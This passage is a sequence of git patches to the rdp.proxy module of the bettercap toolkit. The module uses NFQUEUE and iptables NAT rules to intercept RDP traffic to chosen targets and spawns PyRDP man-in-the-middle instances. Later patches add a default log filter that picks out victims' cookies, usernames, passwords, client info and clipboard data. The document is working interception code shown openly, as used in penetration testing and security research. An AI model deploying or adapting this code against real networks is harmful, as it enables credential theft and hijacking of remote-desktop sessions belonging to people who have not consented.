golog.SetOutput(ioutil.Discard) mod.destroyQueue() @@ -123,11 +155,16 @@ func (mod *RdpProxy) Configure() (err error) { return } else if err, mod.queueNum = mod.IntParam("rdp.proxy.queue.num"); err != nil { return + } else if err, targets = mod.StringParam("rdp.proxy.targets"); err != nil { + return + } else if mod.addresses, _, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { + return } else if _, err = exec.LookPath(mod.cmd); err != nil { return } mod.Info("Starting RDP Proxy") + mod.Debug("addresses=%v", mod.addresses) // Create the NFQUEUE handler. mod.queue = new(nfqueue.Queue) @@ -156,35 +193,43 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { src, sport := p.NetworkLayer().NetworkFlow().Src(), p.TransportLayer().TransportFlow().Src() dst, dport := p.NetworkLayer().NetworkFlow().Dst(), p.TransportLayer().TransportFlow().Dst() - // TODO: Don't log here and connect a pipe to the process instead. - mod.Info("CONNECT [%s:%v -> %v:%v]", src, sport, dst, dport) - target := fmt.Sprintf("%v:%v", dst, dport) + if mod.isTarget(dst.String()) { + // TODO: Don't log here and connect a pipe to the process instead. + mod.Info("CONNECT [%s:%v -> %v:%v]", src, sport, dst, dport) + target := fmt.Sprintf("%v:%v", dst, dport) - // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. - if _, ok := mod.active[target]; !ok { - // 3.1. Otherwise, create a proxy agent and firewall rules. - args := []string{ - "-l", fmt.Sprintf("%d", mod.startPort), - // "-o", mod.outpath, - // "-i", "-d" - target, + // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. + if _, ok := mod.active[target]; !ok { + // 3.1. Otherwise, create a proxy agent and firewall rules. + args := []string{ + "-l", fmt.Sprintf("%d", mod.startPort), + // "-o", mod.outpath, + // "-i", "-d" + target, + } + + // 3.2. Spawn pyrdp proxy instance + cmd := exec.Command(mod.cmd, args...) + // _stderr, _ := cmd.StderrPipe() + if err := cmd.Start(); err != nil { + // XXX: Failed to start the rdp proxy... accept connection transparently and log? + } + + // 3.3. Add a NAT rule in the firewall for this particular target IP + mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true) + mod.active[target] = *cmd + mod.startPort += 1 } + } else { + mod.Info("Non-target, won't intercept [%s:%v -> %v:%v]", src, sport, dst, dport) - // 3.2. Spawn pyrdp proxy instance - cmd := exec.Command(mod.cmd, args...) - // _stderr, _ := cmd.StderrPipe() - if err := cmd.Start(); err != nil { - // XXX: Failed to start the rdp proxy... accept connection transparently and log? - } - - // 3.3. Add a NAT rule in the firewall for this particular target IP - mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true) - mod.active[target] = *cmd - mod.startPort += 1 + // Add an exception in the firewall to avoid intercepting packets to this destination and port + mod.doReturn(dst.String(), dport, true) } // Force a retransmit to trigger the new firewall rules. (TODO: Find a more efficient way to do this.) payload.SetVerdict(nfqueue.NF_DROP) + return 0 } @@ -212,8 +257,6 @@ func (mod *RdpProxy) Start() error { } func (mod *RdpProxy) Stop() error { - - return mod.SetRunning(false, func() { mod.queue.StopLoop() mod.configureFirewall(false) @@ -234,4 +277,3 @@ func (mod *RdpProxy) destroyQueue() { mod.queue.Close() mod.queue = nil } - From 45f83a2b0e5fca0521599017dec3c69771ff58ee Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 6 May 2019 13:06:29 -0400 Subject: [PATCH 14/18] Updated Author string --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 569efbc6..765f250b 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -72,7 +72,7 @@ func (mod RdpProxy) Description() string { } func (mod RdpProxy) Author() string { - return "Alexandre Beaulieu " + return "Alexandre Beaulieu && Maxime Carbonneau " } func (mod *RdpProxy) isTarget(ip string) bool { From 5b88a9aa4291aa3ef1c07e472b960a8cf3889501 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 6 May 2019 16:45:05 -0400 Subject: [PATCH 15/18] Renamed addresses parameter to targets --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 765f250b..d514960f 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -26,7 +26,7 @@ type RdpProxy struct { startPort int cmd string active map[string]exec.Cmd - addresses []net.IP + targets []net.IP } var mod *RdpProxy @@ -34,7 +34,7 @@ var mod *RdpProxy func NewRdpProxy(s *session.Session) *RdpProxy { mod = &RdpProxy{ SessionModule: session.NewSessionModule("rdp.proxy", s), - addresses: make([]net.IP, 0), + targets: make([]net.IP, 0), done: make(chan bool), queue: nil, queueNum: 0, @@ -77,7 +77,7 @@ func (mod RdpProxy) Author() string { func (mod *RdpProxy) isTarget(ip string) bool { - for _, addr := range mod.addresses { + for _, addr := range mod.targets { if addr.String() == ip { return true } @@ -157,14 +157,14 @@ func (mod *RdpProxy) Configure() (err error) { return } else if err, targets = mod.StringParam("rdp.proxy.targets"); err != nil { return - } else if mod.addresses, _, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { + } else if mod.targets, _, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { return } else if _, err = exec.LookPath(mod.cmd); err != nil { return } mod.Info("Starting RDP Proxy") - mod.Debug("addresses=%v", mod.addresses) + mod.Debug("Targets=%v", mod.targets) // Create the NFQUEUE handler. mod.queue = new(nfqueue.Queue) From 7d05a9a672151e2763bc9e8615824b0f2c7b8e84 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 8 May 2019 11:21:40 -0400 Subject: [PATCH 16/18] Added regex based logging to rdp proxy --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 51 +++++++++++++++++++--- 1 file changed, 45 insertions(+), 6 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index d514960f..2ad57d93 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -7,6 +7,10 @@ import ( golog "log" "net" "syscall" + "bufio" + "io" + "regexp" + "bytes" "github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/network" @@ -19,14 +23,16 @@ import ( type RdpProxy struct { session.SessionModule + targets []net.IP done chan bool queue *nfqueue.Queue queueNum int port int startPort int cmd string + regexp string + compiled *regexp.Regexp active map[string]exec.Cmd - targets []net.IP } var mod *RdpProxy @@ -41,6 +47,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy { port: 3389, startPort: 40000, cmd: "pyrdp-mitm.py", + regexp: "(?i)(cookie:|mstshash=|username|password)", active: make(map[string]exec.Cmd), } @@ -56,15 +63,17 @@ func NewRdpProxy(s *session.Session) *RdpProxy { mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) -mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessions.")) +mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for PyRDP sessions.")) mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle.")) mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts.")) mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|username|password)", "", "Print PyRDP logs matching this regular expression.")) return mod } func (mod RdpProxy) Name() string { return "rdp.proxy" + } func (mod RdpProxy) Description() string { @@ -86,6 +95,25 @@ func (mod *RdpProxy) isTarget(ip string) bool { return false } +// Filter PyRDP logs to only show those that matches mod.regexp +func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) { + scanner := bufio.NewScanner(output) + + // For every log in the queue + for scanner.Scan() { + text := scanner.Bytes() + if mod.compiled == nil || mod.compiled.Match(text) { + // Extract the meaningful part of the log + chunks := bytes.Split(text, []byte(" - ")) + + // Get last element + data := chunks[len(chunks) - 1] + + mod.Info("%s %s", prefix, data) + } + } +} + // Adds the firewall rule for proxy instance. func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) { _, err = core.Exec("iptables", []string{ @@ -159,6 +187,12 @@ func (mod *RdpProxy) Configure() (err error) { return } else if mod.targets, _, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { return + } else if err, mod.regexp = mod.StringParam("rdp.proxy.regexp"); err != nil { + return + } else if mod.regexp != "" { + if mod.compiled, err = regexp.Compile(mod.regexp); err != nil { + return + } } else if _, err = exec.LookPath(mod.cmd); err != nil { return } @@ -195,10 +229,11 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { if mod.isTarget(dst.String()) { // TODO: Don't log here and connect a pipe to the process instead. - mod.Info("CONNECT [%s:%v -> %v:%v]", src, sport, dst, dport) + ips := fmt.Sprintf("[%v:%v -> %v:%v]", src, sport, dst, dport) + mod.Info("CONNECT %v", ips) target := fmt.Sprintf("%v:%v", dst, dport) - // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. + // 2. Check if the destination IP already has a PyRDP session active, if so, do nothing. if _, ok := mod.active[target]; !ok { // 3.1. Otherwise, create a proxy agent and firewall rules. args := []string{ @@ -208,13 +243,17 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { target, } - // 3.2. Spawn pyrdp proxy instance + // 3.2. Spawn PyRDP proxy instance cmd := exec.Command(mod.cmd, args...) - // _stderr, _ := cmd.StderrPipe() + stderrPipe, _ := cmd.StderrPipe() + if err := cmd.Start(); err != nil { // XXX: Failed to start the rdp proxy... accept connection transparently and log? } + // Use goroutines to keep logging each instance of PyRDP + go mod.filterLogs(ips, stderrPipe) + // 3.3. Add a NAT rule in the firewall for this particular target IP mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true) mod.active[target] = *cmd From 4ebe8517dba02c1d135c605436febac45c6389fc Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 8 May 2019 13:59:46 -0400 Subject: [PATCH 17/18] Added clipboard event to default logs --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 2ad57d93..e5e66fca 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -47,7 +47,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy { port: 3389, startPort: 40000, cmd: "pyrdp-mitm.py", - regexp: "(?i)(cookie:|mstshash=|username|password)", + regexp: "(?i)(cookie:|mstshash=|username|password|clipboard data)", active: make(map[string]exec.Cmd), } @@ -67,7 +67,7 @@ mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle.")) mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts.")) mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges.")) -mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|username|password)", "", "Print PyRDP logs matching this regular expression.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|username|password|clipboard data)", "", "Print PyRDP logs matching this regular expression.")) return mod } From f5fd205f7b9814baafb4ca78b85773f2c4bc2ec4 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 8 May 2019 14:57:37 -0400 Subject: [PATCH 18/18] Updated logs for rdp proxy --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index e5e66fca..2303044d 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -47,7 +47,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy { port: 3389, startPort: 40000, cmd: "pyrdp-mitm.py", - regexp: "(?i)(cookie:|mstshash=|username|password|clipboard data)", + regexp: "(?i)(cookie:|mstshash=|clipboard data|client info|username|password)", active: make(map[string]exec.Cmd), } @@ -67,7 +67,7 @@ mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle.")) mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts.")) mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges.")) -mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|username|password|clipboard data)", "", "Print PyRDP logs matching this regular expression.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|clipboard data|client info|username|password)", "", "Print PyRDP logs matching this regular expression.")) return mod } @@ -227,10 +227,9 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { src, sport := p.NetworkLayer().NetworkFlow().Src(), p.TransportLayer().TransportFlow().Src() dst, dport := p.NetworkLayer().NetworkFlow().Dst(), p.TransportLayer().TransportFlow().Dst() + ips := fmt.Sprintf("[%v:%v -> %v:%v]", src, sport, dst, dport) + if mod.isTarget(dst.String()) { - // TODO: Don't log here and connect a pipe to the process instead. - ips := fmt.Sprintf("[%v:%v -> %v:%v]", src, sport, dst, dport) - mod.Info("CONNECT %v", ips) target := fmt.Sprintf("%v:%v", dst, dport) // 2. Check if the destination IP already has a PyRDP session active, if so, do nothing. @@ -260,7 +259,7 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { mod.startPort += 1 } } else { - mod.Info("Non-target, won't intercept [%s:%v -> %v:%v]", src, sport, dst, dport) + mod.Info("Non-target, won't intercept %s", ips) // Add an exception in the firewall to avoid intercepting packets to this destination and port mod.doReturn(dst.String(), dport, true)